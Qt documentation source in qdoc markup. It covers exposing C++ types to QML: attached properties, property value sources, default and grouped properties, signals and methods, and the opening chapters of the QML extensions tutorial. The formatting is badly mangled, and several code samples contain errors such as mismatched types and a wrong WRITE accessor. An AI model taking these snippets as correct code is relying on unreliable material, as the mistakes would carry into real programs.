### `\section3` Implementing Attached Objects: An Example

For example, take the `\c` Message type described in an `\l{Registering an Instantiable Object Type}`{earlier example}:

```
\code

class Message : public QObject
{
    Q_OBJECT
```

```

    Q_PROPERTY(QString author READ author WRITE setAuthor NOTIFY authorChanged)

    Q_PROPERTY(QDateTime creationDate READ creationDate WRITE setCreationDate NOTIFY
creationDateChanged)

public:

    // ...

};

\endcode

```

Suppose it is necessary to trigger a signal on a `\c Message` when it is published to a message board, and also track when the message has expired on the message board. Since it doesn't make sense to add these attributes directly to a `\c Message`, as the attributes are more relevant to the message board context, they could be implemented as `\e` attached attributes on a `\c Message` object that are provided through a "MessageBoard" qualifier. In terms of the concepts described earlier, the parties involved here are:

- \list
- \li An instance of an anonymous `\e{attached object type}`, which provides a `\c` published signal and an expired property. This type is implemented by `\c MessageBoardAttachedType` below
- \li A `\c Message` object, which will be the `\e` attachee
- \li The `\c MessageBoard` type, which will be the `\e {attaching type}` that is used by `\c Message` objects to access the attached attributes
- \endlist

Following is an example implementation. First, there needs to be an

\e {attached object type} with the necessary properties and signals that will be accessible to the \e attachee:

\code

```
class MessageBoardAttachedType : public QObject
{
    Q_OBJECT

    Q_PROPERTY(bool expired READ expired WRITE expired NOTIFY expiredChanged)

public:
    MessageBoardAttachedType(QObject *parent);

    bool expired() const;

    void setExpired(bool expired);

signals:
    void published();

    void expiredChanged();

};
```

\endcode

Then the \e {attaching type}, \c MessageBoard, must declare a \c qmlAttachedProperties() method that returns an instance of the \e {attached object type} as implemented by MessageBoardAttachedType.

Additionally, \c Message board must be declared as an attached type through the QML\_DECLARE\_TYPEINFO() macro:

\code

```

class MessageBoard : public QObject
{
    Q_OBJECT
public:
    static MessageBoard *qmlAttachedProperties(QObject *object)
    {
        return new MessageBoardAttachedType(object);
    }
};

QML_DECLARE_TYPEINFO(MessageBoard, QML_HAS_ATTACHED_PROPERTIES)

\endcode

```

Now, a `\c Message` type can access the properties and signals of the attached object type:

```

\qml
Message {
    author: "Amelie"
    creationDate: new Date()

    MessageBoard.expired: creationDate < new Date("January 01, 2015 10:45:00")
    MessageBoard.onPublished: console.log("Message by", author, "has been
published!")
}

\endqml

```

Additionally, the C++ implementation may access the attached object instance that has been attached to any object by calling the `qmlAttachedPropertiesObject()` function.

For example:

`\code`

```
Message *msg = someMessageInstance();
```

```
MessageBoardAttachedType *attached =
```

```
    qobject_cast<MessageBoardAttachedType*>(qmlAttachedPropertiesObject<MessageBoard>(msg));
```

```
qDebug() << "Value of MessageBoard.expired:" << attached->expired();
```

`\endcode`

## `\section2` Property Modifier Types

A property modifier type is a special kind of QML object type. A property modifier type instance affects a property (of a QML object instance) which it is applied to. There are two different kinds of property modifier types:

`\list`

- `\li` property value write interceptors

- `\li` property value sources

`\endlist`

A property value write interceptor can be used to filter or modify values as they are written to properties. Currently, the only supported property value write interceptor is the `\| Behavior` type provided by the `\c QtQuick` import.

A property value source can be used to automatically update the value of a property over time. Clients can define their own property value source types. The various `\{qtquick-statesanimations-animations.html\}``{property animation}` types provided by the `\c QtQuick` import are examples of property value sources.

Property modifier type instances can be created and applied to a property of a QML object through the "`<ModifierType> on <propertyName>`" syntax, as the following example shows:

```
\qml
import QtQuick 2.0

Item {
    width: 400
    height: 50

    Rectangle {
        width: 50
```

```
height: 50
```

```
color: "red"
```

```
NumberAnimation on x {
```

```
    from: 0
```

```
    to: 350
```

```
    loops: Animation.Infinite
```

```
    duration: 2000
```

```
}
```

```
}
```

```
}
```

```
\endqml
```

Clients can register their own property value source types, but currently not property value write interceptors.

### \section3 Property Value Sources

\e {Property value sources} are QML types that can automatically update the value of a property over time, using the

\c {<PropertyValueSource> on <property>} syntax. For example, the various

\l{qtquick-statesanimations-animations.html}{property animation} types

provided by the \c QtQuick module are examples of property value sources.

A property value source can be implemented in C++ by subclassing

QQmlPropertyValueSource and providing an implementation that writes different values to a property over time. When the property value source is applied to a property using the `\c {<PropertyValueSource> on <property>}` syntax in QML, it is given a reference to this property by the engine so that the property value can be updated.

For example, suppose there is a `\c RandomNumberGenerator` class to be made available as a property value source, so that when applied to a QML property, it will update the property value to a different random number every 500 milliseconds. Additionally, a `maxValue` can be provided to this random number generator. This class can be implemented as follows:

`\code`

```
class RandomNumberGenerator : public QObject, public QQmlPropertyValueSource
{
    Q_OBJECT
    Q_INTERFACES(QQmlPropertyValueSource)
    Q_PROPERTY(int maxValue READ maxValue WRITE setMaxValue NOTIFY maxValueChanged);
public:
    RandomNumberGenerator(QObject *parent)
        : QObject(parent), m_maxValue(100)
    {
        qsrand(QDateTime::currentDateTime().toTime_t());
        QObject::connect(&m_timer, SIGNAL(timeout()), SLOT(updateProperty()));
        m_timer.start(500);
    }
};
```

```
}
```

```
int maxValue() const;
```

```
void setMaxValue(int maxValue);
```

```
virtual void setTarget(const QQmlProperty &prop) { m_targetProperty = prop; }
```

signals:

```
void maxValueChanged();
```

private slots:

```
void updateProperty() {
```

```
    m_targetProperty.write(qrand() % m_maxValue);
```

```
}
```

private:

```
QQmlProperty m_targetProperty;
```

```
QTimer m_timer;
```

```
int m_maxValue;
```

```
};
```

```
\endcode
```

When the QML engine encounters a use of `\c RandomNumberGenerator` as a property value source, it invokes `\c RandomNumberGenerator::setTarget()` to provide the type with the property to which the value source has been applied. When the

internal timer in `\c RandomNumberGenerator` triggers every 500 milliseconds, it will write a new number value to that specified property.

Once the `\c RandomNumberGenerator` class has been registered with the QML type system, it can be used from QML as a property value source. Below, it is used to change the width of a `\l Rectangle` every 500 milliseconds:

```
\qml
import QtQuick 2.0

Item {
    width: 300; height: 300

    Rectangle {
        RandomNumberGenerator on width { maxValue: 300 }

        height: 100
        color: "red"
    }
}
\endqml
```

In all other respects, property value sources are regular QML types that can have properties, signals methods and so on, but with the added capability that they can be used to change property values using the

\c {<PropertyValueSource> on <property>} syntax.

When a property value source object is assigned to a property, QML first tries to assign it normally, as though it were a regular QML type. Only if this assignment fails does the engine call the \l {QQmlPropertyValueSource::}{setTarget()} method. This allows the type to also be used in contexts other than just as a value source.

## \section2 Specifying Default Properties for QML Object Types

Any QObject-derived type that is registered as an instantiable QML object type can optionally specify a \e {default property} for the type. A default property is the property to which an object's children are automatically assigned if they are not assigned to any specific property.

The default property can be set by calling the Q\_CLASSINFO() macro for a class with a specific "DefaultProperty" value. For example, the \c MessageBoard class below specifies its \c messages property as the default property for the class:

\code

```
class MessageBoard : public QObject
{
    Q_OBJECT
```

```

    Q_PROPERTY(QQmlListProperty<Message> messages READ messages)

    Q_CLASSINFO("DefaultProperty", "messages")

public:

    QQmlListProperty<Message> messages() const;

private:

    QList<Message *> messages;

};

\endcode

```

This enables children of a \c MessageBoard object to be automatically assigned to its \c messages property if they are not assigned to a specific property. For example:

```

\qml
MessageBoard {
    Message { author: "Naomi" }
    Message { author: "Clancy" }
}
\endqml

```

If \c messages was not set as the default property, then any \c Message objects would have to be explicitly assigned to the \c messages property instead, as follows:

```

\qml
MessageBoard {
    messages: [
        Message { author: "Naomi" },
        Message { author: "Clancy" }
    ]
}
\endqml

```

(Incidentally, the `\Item::data` property is its default property. Any `\Item` objects added to this `\c data` property are also added to the list of `\Item::children`, so the use of the default property enables visual children to be declared for an item without explicitly assigning them to the `\{Item::}{children}` property.)

## \section2 Defining Visual Items with the Qt Quick Module

When building user interfaces with the `\l {Qt Quick}` module, all QML objects that are to be visually rendered must derive from the `\l Item` type, as it is the base type for all visual objects in `\l {Qt Quick}`. This `\l Item` type is implemented by the `QQuickItem` C++ class, which is provided by the `\l {Qt Quick}` module. Therefore, this class should be subclassed when it is necessary to implement a visual type in C++ that can be integrated into a QML-based user interface.

See the `QQuickItem` documentation for more information. Additionally, the `\{Writing QML Extensions with C++}` tutorial demonstrates how a `QQuickItem`-based visual item can be implemented in C++ and integrated into a Qt Quick-based user interface.

## `\section1` Receiving Notifications for Object Initialization

For some custom QML object types, it may be beneficial to delay the initialization of particular data until the object has been created and all of its properties have been set. For example, this may be the case if the initialization is costly, or if the initialization should not be performed until all property values have been initialized.

The `\{Qt QML}` module provides the `QQmlParserStatus` to be subclassed for these purposes. It defines a number of virtual methods that are invoked at various stages during component instantiation. To receive these notifications, a C++ class should inherit `QQmlParserStatus` and also notify the Qt meta system using the `Q_INTERFACES()` macro.

For example:

`\code`

```
class MyQmlType : public QObject, public QQmlParserStatus
```

```

{
    Q_OBJECT

    Q_INTERFACES(QQmlParserStatus)

public:

    virtual void componentComplete()

    {

        // Perform some initialization here now that the object is fully created

    }

};

\endcode

```

\title Exposing Attributes of C++ Types to QML

\brief Description of how to expose the attributes of a C++ type to QML

QML can easily be extended with functionality defined in C++ code. Due to the  
tight integration of the QML engine with the \{The Meta-Object System}\{Qt  
meta-object system}, any functionality that is appropriately exposed by a  
QObject-derived class is accessible from QML code. This enables C++ data and  
functions to be accessible directly from QML, often with little or no  
modification.

The QML engine has the ability to introspect QObject instances through the meta-object system. This means any QML code can access the following members of an instance of a QObject-derived class:

\list

\li Properties

\li Methods (providing they are public slots or flagged with Q\_INVOKABLE)

\li Signals

\endlist

(Additionally, enums are available if they have been declared with Q\_ENUMS.

See [\{qtqml-cppintegration-data.html\}](#){Data Type Conversion Between QML and C++} for more details.)

In general, these are accessible from QML regardless of whether a QObject-derived class has been [\{Registering C++ types with the QML type system\}](#){registered with the QML type system}. However, if a class is to be used in a way that requires the engine to access additional type information — for example, if the class itself is to be used as a method parameter or property, or if one of its enum types is to be used in this way — then the class may need to be registered.

Also note that a number of the important concepts covered in this document are demonstrated in the [\{Writing QML Extensions with C++\}](#) tutorial.

## \section1 Data Type Handling and Ownership

Any data that is transferred from C++ to QML, whether as a property value, a method parameter or return value, or a signal parameter value, must be of a type that is supported by the QML engine.

By default, the engine supports a number of Qt C++ types and can automatically convert them as appropriately when used from QML. Additionally, C++ classes that are \l{Registering C++ types with the QML type system}{registered} with the QML type system can be used as data types, as can their enums if appropriately registered. See \l{qtqml-cppintegration-data.html}{Data Type Conversion Between QML and C++} for details for further information.

Additionally, data ownership rules are taken into consideration when data is transferred from C++ to QML. See \l{Data Ownership} for more details.

## \section1 Exposing Properties

A \e property can be specified for any QObject-derived class using the `Q_PROPERTY()` macro. A property is a class data member with an associated read function and optional write function.

All properties of a QObject-derived class are accessible from QML.

For example, below is a `Message` class with an `author` property. As specified by the `Q_PROPERTY` macro call, this property is readable through the `author()` method, and writable through the `setAuthor()` method:

`\code`

```
class Message : public QObject
{
    Q_OBJECT

    Q_PROPERTY(QString author READ author WRITE setAuthor NOTIFY authorChanged)

public:
    void setAuthor(const QString &a) {
        if (a != m_author) {
            m_author = a;
            emit authorChanged();
        }
    }

    QString author() const {
        return m_author;
    }

signals:
    void authorChanged();

private:
    QString m_author;
```

```
};
```

```
\endcode
```

If an instance of this class was `{Embedding C++ Objects into QML with Context Properties}` set as a context property when loading a file named `\c MyItem.qml` from C++:

```
\code
```

```
int main(int argc, char *argv[]) {  
    QCoreApplication app(argc, argv);  
  
    QQmlEngine engine;  
    Message msg;  
    engine.rootContext()->setContextProperty("msg", &msg);  
    QQmlComponent component(&engine, QUrl::fromLocalFile("MyItem.qml"));  
    component.create();  
  
    return app.exec();  
}
```

```
\endcode
```

Then, the `\c author` property could be read from `\c MyItem.qml`:

```
\qml
```

```
// MyItem.qml
```

```
import QtQuick 2.0
```

```
Text {  
    width: 100; height: 100  
    text: msg.author // invokes Message::author() to get this value  
  
    Component.onCompleted: {  
        msg.author = "Jonah" // invokes Message::setAuthor()  
    }  
}  
  
\endqml
```

For maximum interoperability with QML, `{any property that is writable should have an associated NOTIFY signal}` that is emitted whenever the property value has changed. This allows the property to be used with `{Property Binding}{property binding}`, which is an essential feature of QML that enforces relationships between properties by automatically updating a property whenever any of its dependencies change in value.

In the above example, the associated NOTIFY signal for the `{author}` property is `{authorChanged}`, as specified in the `Q_PROPERTY()` macro call. This means that whenever the signal is emitted — as it is when the author changes in `Message::setAuthor()` — this notifies the QML engine that any bindings involving the `{author}` property must be updated, and in turn, the engine will update the `{text}` property by calling `{Message::author()}` again.

If the `\c` author property was writable but did not have an associated NOTIFY signal, the `\c` text value would be initialized with the initial value returned by `\c Message::author()` but would not be updated with any later changes to this property. In addition, any attempts to bind to the property from QML will produce a runtime warning from the engine.

`\note` It is recommended that the NOTIFY signal be named `\e <property>Changed` where `\c <property>` is the name of the property. The associated property change signal handler generated by the QML engine will always take the form `\c on<Property>Changed`, regardless of the name of the related C++ signal, so it is recommended that the signal name follows this convention to avoid any confusion.

### `\section3` Notes on Use of Notify Signals

To prevent loops or excessive evaluation, developers should ensure that the property change signal is only emitted when the property value has actually changed. Also, if a property or group of properties is infrequently used, it is permitted to use the same NOTIFY signal for several properties. This should be done with care to ensure that performance doesn't suffer.

The presence of a NOTIFY signal does incur a small overhead. There are cases where a property's value is set at object construction time, and does not

subsequently change. The most common case of this is when a type uses `\l {Grouped Properties}`, and the grouped property object is allocated once, and only freed when the object is deleted. In these cases, the `CONSTANT` attribute may be added to the property declaration instead of a `NOTIFY` signal.

The `CONSTANT` attribute should only be used for properties whose value is set, and finalized, only in the class constructor. All other properties that want to be used in bindings should have a `NOTIFY` signal instead.

## `\section2 Properties with Object Types`

Object-type properties are accessible from QML providing that the object type has been appropriately `\l {Registering C++ types with the QML type system}` with the QML type system.

For example, the `\c Message` type might have a `\c body` property of type `\c MessageBody*`:

`\code`

```
class Message : public QObject
{
    Q_OBJECT
    Q_PROPERTY(MessageBody* body READ body WRITE setBody NOTIFY bodyChanged)
```

```

public:
    MessageBody* body() const;
    void setBody(MessageBody* body);
};

class MessageBody : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QString text READ text WRITE text NOTIFY textChanged)
// ...
}

\endcode

```

Suppose the \c Message type was \l{Registering C++ types with the QML type system}{registered} with the QML type system, allowing it to be used as an object type from QML code:

```

\qml
Message {
    // ...
}

\endqml

```

If the \c MessageBody type was also registered with the type system, it would be possible to assign \c MessageBody to the \c body property of a \c Message, all

from within QML code:

```
\qml
Message {
    body: MessageBody {
        text: "Hello, world!"
    }
}
\endqml
```

## \section2 Properties with Object-List Types

Properties containing lists of QObject-derived types can also be exposed to QML. For this purpose, however, one should use QQmlListProperty rather than QList<T> as the property type. This is because QList is not a QObject-derived type, and so cannot provide the necessary QML property characteristics through the Qt meta object system, such as signal notifications when a list is modified.

QQmlListProperty is a template class that can be conveniently constructed from a QList value.

For example, the \c MessageBoard class below has a \c messages property of type QQmlListProperty that stores a list of \c Message instances:

\code

```
class MessageBoard : public QObject
{
    Q_OBJECT

    Q_PROPERTY(QQmlListProperty<Message> messages READ messages)

public:
    QQmlListProperty<Message> messages() const;

private:
    static void append_message(QQmlListProperty<Message> *list, Message *msg);

    QList<Message *> m_messages;
};
```

\endcode

The MessageBoard::messages() function simply creates and returns a QQmlListProperty from its QList<T> \c m\_messages member, passing the appropriate list modification functions as required by the QQmlListProperty constructor:

\code

```
QQmlListProperty<Message> MessageBoard::messages()
{
    return QQmlListProperty<Message>(this, 0, &MessageBoard::append_message);
}
```

```
}
```

```
void MessageBoard::append_message(QQmlListProperty<Message> *list, Message *msg)
```

```
{
```

```
    MessageBoard *msgBoard = qobject_cast<MessageBoard *>(list->object);
```

```
    if (msg)
```

```
        msgBoard->m_messages.append(msg);
```

```
}
```

```
\endcode
```

Note that the template class type for the `QQmlListProperty` — in this case,

`\c Message` — must be `\l{Registering C++ types with the QML type system}`

`{registered}` with the QML type system.

## `\section2 Grouped Properties`

Any read-only object-type property is accessible from QML code as a

`\e {grouped property}`. This can be used to expose a group of related properties that describe a set of attributes for a type.

For example, suppose the `\c Message::author` property was of type

`\c MessageAuthor` rather than a simple string, with sub-properties

of `\c name` and `\c email`:

\code

```
class MessageAuthor : public QObject
{
    Q_PROPERTY(QString name READ name WRITE setName)
    Q_PROPERTY(QString email READ email WRITE setEmail)
public:
    ...
};
```

```
class Message : public QObject
{
    Q_OBJECT
    Q_PROPERTY(MessageAuthor* author READ author)
public:
    Message(QObject *parent)
        : QObject(parent), m_author(new MessageAuthor(this))
    {
    }
    Message *author() const {
        return m_author;
    }
private:
    Message *m_author;
};
```

\endcode

The `\c` author property could be written to using the

```
\l{qtqml-syntax-objectattributes.html#grouped-properties}{grouped property  
syntax}
```

in QML, like this:

```
\qml
```

```
Message {
```

```
    author.name: "Alexandra"
```

```
    author.email: "alexandra@mail.com"
```

```
}
```

```
\endqml
```

A type that is exposed as a grouped property differs from an `\l{Properties with Object Types}{object-type property}` in that the grouped property is read-only, and is initialized to a valid value by the parent object at construction. The grouped property's sub-properties may be modified from QML but the grouped property object itself will never change, whereas an object-type property may be assigned a new object value from QML at any time. Thus, the lifetime of a grouped property object is controlled strictly by the C++ parent implementation, whereas an object-type property can be freely created and destroyed through QML code.

`\section1 Exposing Methods (Including Qt Slots)`

Any method of a QObject-derived type is accessible from QML code if it is:

\list

\li A public method flagged with the Q\_INVOKABLE() macro

\li A method that is a public Qt \l{Signals & Slots}{slot}

\endlist

For example, the \c MessageBoard class below has a \c postMessage() method that has been flagged with the Q\_INVOKABLE macro, as well as a \c refresh() method that is a public slot:

\code

```
class MessageBoard : public QObject
{
    Q_OBJECT

public:
    Q_INVOKABLE bool postMessage(const QString &msg) {
        qDebug() << "Called the C++ method with" << msg;
        return true;
    }

public slots:
    void refresh() {
        qDebug() << "Called the C++ slot";
```

```
}  
};  
\endcode
```

If an instance of `MessageBoard` was set as the context data for a file `MyItem.qml`, as shown below left, then `MyItem.qml` could invoke the two methods, as shown below right:

```
\table  
\row  
\li  
\code  
int main(int argc, char *argv[]) {  
    QGuiApplication app(argc, argv);  
  
    MessageBoard msgBoard;  
  
    QQuickView view;  
    view.engine()->rootContext()->setContextProperty("msgBoard", &msgBoard);  
    view.setSource(QUrl::fromLocalFile("MyItem.qml"));  
    view.show();  
  
    return app.exec();  
}  
\endcode  
\li
```

```

\qml
// MyItem.qml

import QtQuick 2.0

Item {
    width: 100; height: 100

    MouseArea {
        anchors.fill: parent
        onClicked: {
            var result = msgBoard.postMessage("Hello from QML")
            console.log("Result of postMessage():", result)
            msgBoard.refresh();
        }
    }
}
\endqml
\endtable

```

If a C++ method has a parameter with a `\c QObject*` type, the parameter value can be passed from QML using an object `\c id` or a JavaScript `\l var` value that references the object.

QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the same name but different arguments, the correct function will

be called according to the number and the types of arguments that are provided.

Values returned from C++ methods are converted to JavaScript values when accessed from JavaScript expressions in QML.

## \section1 Exposing Signals

Any public \{Signals & Slots\}{signal} of a QObject-derived type is accessible from QML code.

The QML engine automatically creates a \{Signal and Handler Event System\}{signal handler} for any signal of a QObject-derived type that is used from QML. Signal handlers are always named \e on<Signal> where \c <Signal> is the name of the signal, with the first letter capitalized. All parameters passed by the signal are available in the signal handler through the parameter names.

For example, suppose the \c MessageBoard class has a \c newMessagePosted() signal with a single parameter, \c subject:

\code

```
class MessageBoard : public QObject
{
    Q_OBJECT
public:
```

```
// ...  
signals:  
    void newMessagePosted(const QString &subject);  
};  
\endcode
```

If the `MessageBoard` type was `QMLRegisterType` with the QML type system, then a `MessageBoard` object declared in QML could receive the `newMessagePosted()` signal using a signal handler named `onNewMessagePosted`, and examine the `subject` parameter value:

```
\qml  
MessageBoard {  
    onNewMessagePosted: console.log("New message received:", subject)  
}  
\endqml
```

As with property values and method parameters, a signal parameter must have a type that is supported by the QML engine; see

[QML Data Type Conversion Between QML and C++](#). (Using an unregistered type will not generate an error, but the parameter value will not be accessible from the handler.)

Classes may have multiple signals with the same name, but only the final

signal is accessible as a QML signal. Note that signals with the same name but different parameters cannot be distinguished from one another.

\title Writing QML Extensions with C++

\brief Tutorial about extending QML with Qt C++.

The \l {Qt QML} module provides a set of APIs for extending QML through

C++ extensions. You can write extensions to add your own QML types, extend existing

Qt types, or call C/C++ functions that are not accessible from ordinary QML code.

This tutorial shows how to write a QML extension using C++ that includes

core QML features, including properties, signals and bindings. It also shows how

extensions can be deployed through plugins.

Many of the topics covered in this tutorial are documented in further detail in

\l {qtqml-cppintegration-topic.html}{Integrating QML and C++} and its documentation

sub-topics. In particular, you may be interested in the sub-topics

\l {qtqml-cppintegration-exposecppattributes.html}{Exposing Attributes of C++ Classes to QML}

and [\{qtqml-cppintegration-definetypes.html\}](#){Defining QML Types from C++}.

## \section1 Running the Tutorial Examples

The code in this tutorial is available as an example project with subprojects associated with each tutorial chapter. In [\{Qt Creator Manual\}](#){Qt Creator}, open the [\uicontrol Welcome](#) mode and select the tutorial from [\uicontrol Examples](#). In [\uicontrol Edit](#) mode, expand the [\e extending-qml](#) project, right-click on the subproject (chapter) you want to run and select [\uicontrol Run](#).

## \section1 Chapter 1: Creating a New Type

[\c extending-qml/chapter1-basics](#)

A common task when extending QML is to provide a new QML type that supports some custom functionality beyond what is provided by the built-in [\{Qt Quick QML Types\}](#){Qt Quick types}. For example, this could be done to implement particular data models, or provide types with custom painting and drawing capabilities, or access system features like network programming that are not accessible through built-in QML features.

In this tutorial, we will show how to use the C++ classes in the Qt Quick module to extend QML. The end result will be a simple Pie Chart display implemented by several custom QML types connected together through QML features like bindings and signals, and made available to the QML runtime through a plugin.

To begin with, let's create a new QML type called "PieChart" that has two properties: a name

and a color. We will make it available in an importable type namespace called "Charts", with a version of 1.0.

We want this `\c PieChart` type to be usable from QML like this:

`\badcode`

```
import Charts 1.0
```

```
PieChart {  
    width: 100; height: 100  
    name: "A simple pie chart"  
    color: "red"  
}
```

`\endcode`

To do this, we need a C++ class that encapsulates this `\c PieChart` type and its two properties. Since QML makes extensive use of Qt's `\{Meta-Object System\}`{meta object system}, this new class must:

`\list`

- `\li` Inherit from `QObject`

- `\li` Declare its properties using the `Q_PROPERTY` macro

`\endlist`

Here is our `\c PieChart` class, defined in `\c piechart.h`:

`\snippet tutorials/extending-qml/chapter1-basics/piechart.h 0`

The class inherits from `QQuickPaintedItem` because we want to override

`QQuickPaintedItem::paint()` in perform drawing operations with the `QPainter` API.

If the class just represented some data type and was not an item that actually needed to be displayed, it could simply inherit from `QObject`. Or, if we want to extend the functionality of an existing `QObject`-based class, it could inherit from that class instead. Alternatively, if we want to create a visual item that doesn't need to perform drawing operations with the `QPainter` API, we can just subclass `QQuickItem`.

The `\c PieChart` class defines the two properties, `\c name` and `\c color`, with the `Q_PROPERTY` macro, and overrides `QQuickPaintedItem::paint()`. The class implementation in `\c piechart.cpp` simply sets and returns the `\c m_name` and `\c m_color` values as appropriate, and implements `\c paint()` to draw a simple pie chart. It also turns off the `QGraphicsItem::ItemHasNoContents` flag to enable painting:

`\snippet tutorials/extending-qml/chapter1-basics/piechart.cpp 0`

`\dots 0`

`\snippet tutorials/extending-qml/chapter1-basics/piechart.cpp 1`

Now that we have defined the `\c PieChart` type, we will use it from QML. The `\c app.qml` file creates a `\c PieChart` item and display the pie chart's details using a standard QML `\I Text` item:

`\snippet tutorials/extending-qml/chapter1-basics/app.qml` 0

Notice that although the color is specified as a string in QML, it is automatically converted to a `QColor` object for the `PieChart` `color` property. Automatic conversions are provided for various other `QML Basic Types`; for example, a string like `"640x480"` can be automatically converted to a `QSize` value.

We'll also create a C++ application that uses a `QQuickView` to run and display `app.qml`. The application must register the `PieChart` type using the `qmlRegisterType()` function, to allow it to be used from QML. If you don't register the type, `app.qml` won't be able to create a `PieChart`.

Here is the application `main.cpp`:

`\snippet tutorials/extending-qml/chapter1-basics/main.cpp` 0

This call to `qmlRegisterType()` registers the `PieChart` type as a type called `"PieChart"`, in a type namespace called `"Charts"`, with a version of `1.0`.

Lastly, we write a `.pro` project file that includes the files and the `declarative` library:

`\quotefile tutorials/extending-qml/chapter1-basics/chapter1-basics.pro`

Now we can build and run the application:

\image extending-tutorial-chapter1.png

\note You may see a warning \eÂ {Expression ... depends on non-NOTIFYable properties:

PieChart::name}. This happens because we add a binding to the writable \c name property, but haven't yet defined a notify signal for it. The QML engine therefore cannot update the binding if the \c name value changes. This is addressed in the following chapters.

## \section1 Chapter 2: Connecting to C++ Methods and Signals

\c extending-qml/chapter2-methods

Suppose we want \c PieChart to have a "clearChart()" method that erases the chart and then emits a "chartCleared" signal. Our \c app.qml would be able to call \c clearChart() and receive \c chartCleared() signals like this:

\snippet tutorials/extending-qml/chapter2-methods/app.qml 0

\image extending-tutorial-chapter2.png

To do this, we add a \c clearChart() method and a \c chartCleared() signal to our C++ class:

\snippet tutorials/extending-qml/chapter2-methods/piechart.h 0

\dots

\snippet tutorials/extending-qml/chapter2-methods/piechart.h 1

\dots

\snippet tutorials/extending-qml/chapter2-methods/piechart.h 2

\dots

\snippet tutorials/extending-qml/chapter2-methods/piechart.h 3

The use of `Q_INVOKABLE` makes the `\c clearChart()` method available to the Qt Meta-Object system, and in turn, to QML. Note that it could have been declared as a Qt slot instead of using `Q_INVOKABLE`, as slots are also callable from QML. Both of these approaches are valid.

The `\c clearChart()` method simply changes the color to `Qt::transparent`, repaints the chart, then emits the `\c chartCleared()` signal:

\snippet tutorials/extending-qml/chapter2-methods/piechart.cpp 0

Now when we run the application and click the window, the pie chart disappears, and the application outputs:

\badcode

qml: The chart has been cleared

\endcode

\section1 Chapter 3: Adding Property Bindings

\c extending-qml/chapter3-bindings

Property binding is a powerful feature of QML that allows values of different types to be synchronized automatically. It uses signals to notify and update other types' values when property values are changed.

Let's enable property bindings for the `color` property. That means if we have code like this:

```
\snippet tutorials/extending-qml/chapter3-bindings/app.qml 0
```

extending-tutorial-chapter3.png

The `"color: chartA.color"` statement binds the `color` value of `chartB` to the `color` of `chartA`.

Whenever `chartA's color` value changes, `chartB's color` value updates to the same value. When the window is clicked, the `onClicked` handler in the `MouseArea` changes the color of `chartA`, thereby changing both charts to the color blue.

It's easy to enable property binding for the `color` property.

We add a `{NOTIFY}` feature to its `Q_PROPERTY()` declaration to indicate that a `"colorChanged"` signal

is emitted whenever the value changes.

```
\snippet tutorials/extending-qml/chapter3-bindings/piechart.h 0
```

`...`

```
\snippet tutorials/extending-qml/chapter3-bindings/piechart.h 1
```

\dots

\snippet tutorials/extending-qml/chapter3-bindings/piechart.h 2

\dots

\snippet tutorials/extending-qml/chapter3-bindings/piechart.h 3

Then, we emit this signal in \c setPieSlice():

\snippet tutorials/extending-qml/chapter3-bindings/piechart.cpp 0

It's important for \c setColor() to check that the color value has actually changed before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and also prevents loops when other types respond to the value change.

The use of bindings is essential to QML. You should always add NOTIFY signals for properties if they are able to be implemented, so that your properties can be used in bindings. Properties that cannot be bound cannot be automatically updated and cannot be used as flexibly in QML. Also, since bindings are invoked so often and relied upon in QML usage, users of your custom QML types may see unexpected behavior if bindings are not implemented.

## \section1 Chapter 4: Using Custom Property Types

\c extending-qml/chapter4-customPropertyTypes

The \c PieChart type currently has a string-type property and a color-type property.

It could have many other types of properties. For example, it could have an int-type property to store an identifier for each chart:

\code

```
// C++
```

```
class PieChart : public QQuickPaintedItem
```

```
{
```

```
    Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged)
```

```
    ...
```

```
public:
```

```
    void setChartId(int chartId);
```

```
    int chartId() const;
```

```
    ...
```

```
signals:
```

```
    void chartIdChanged();
```

```
};
```

```
// QML
```

```
PieChart {
```

```
    ...
```

```
    chartId: 100
```

```
}
```

\endcode

Aside from `int`, we could use various other property types. Many of the Qt data types such as `QColor`, `QSize` and `QRect` are automatically supported from QML. (See [Data Type Conversion Between QML and C++](#) documentation for a full list.)

If we want to create a property whose type is not supported by QML by default, we need to register the type with the QML engine.

For example, let's replace the use of the `color` property with a type called "PieSlice" that has a `color` property. Instead of assigning a color, we assign an `PieSlice` value which itself contains a `color`:

```
\snippet tutorials/extending-qml/chapter4-customPropertyTypes/app.qml 0
```

Like `PieChart`, this new `PieSlice` type inherits from `QQuickPaintedItem` and declares its properties with `Q_PROPERTY()`:

```
\snippet tutorials/extending-qml/chapter4-customPropertyTypes/pieslice.h 0
```

To use it in `PieChart`, we modify the `color` property declaration and associated method signatures:

```
\snippet tutorials/extending-qml/chapter4-customPropertyTypes/piechart.h 0
```

```
\dots
```

```
\snippet tutorials/extending-qml/chapter4-customPropertyTypes/piechart.h 1
```

\dots

\snippet tutorials/extending-qml/chapter4-customPropertyTypes/piechart.h 2

\dots

\snippet tutorials/extending-qml/chapter4-customPropertyTypes/piechart.h 3

There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice is a visual item, so it must be set as a child of the \c PieChart using `QQuickItem::setParentItem()` so that the \c PieChart knows to paint this child item when its contents are drawn:

\snippet tutorials/extending-qml/chapter4-customPropertyTypes/piechart.cpp 0

Like the \c PieChart type, the \c PieSlice type has to be registered using `qmlRegisterType()` to be used from QML. As with \c PieChart, we'll add the type to the "Charts" type namespace, version 1.0:

\snippet tutorials/extending-qml/chapter4-customPropertyTypes/main.cpp 0

\dots

\snippet tutorials/extending-qml/chapter4-customPropertyTypes/main.cpp 1

\dots

\snippet tutorials/extending-qml/chapter4-customPropertyTypes/main.cpp 2

\section1 Chapter 5: Using List Property Types

\c extending-qml/chapter5-listproperties

Right now, a `PieChart` can only have one `PieSlice`. Ideally a chart would have multiple slices, with different colors and sizes. To do this, we could have a `slices` property that accepts a list of `PieSlice` items:

```
\snippet tutorials/extending-qml/chapter5-listproperties/app.qml 0
```

```
\image extending-tutorial-chapter5.png
```

To do this, we replace the `pieSlice` property in `PieChart` with a `slices` property, declared as a `QQmlListProperty` type. The `QQmlListProperty` class enables the creation of list properties in QML extensions. We replace the `pieSlice()` function with a `slices()` function that returns a list of slices, and add an internal `append_slice()` function (discussed below). We also use a `QList` to store the internal list of slices as `m_slices`:

```
\snippet tutorials/extending-qml/chapter5-listproperties/piechart.h 0
```

```
\dots
```

```
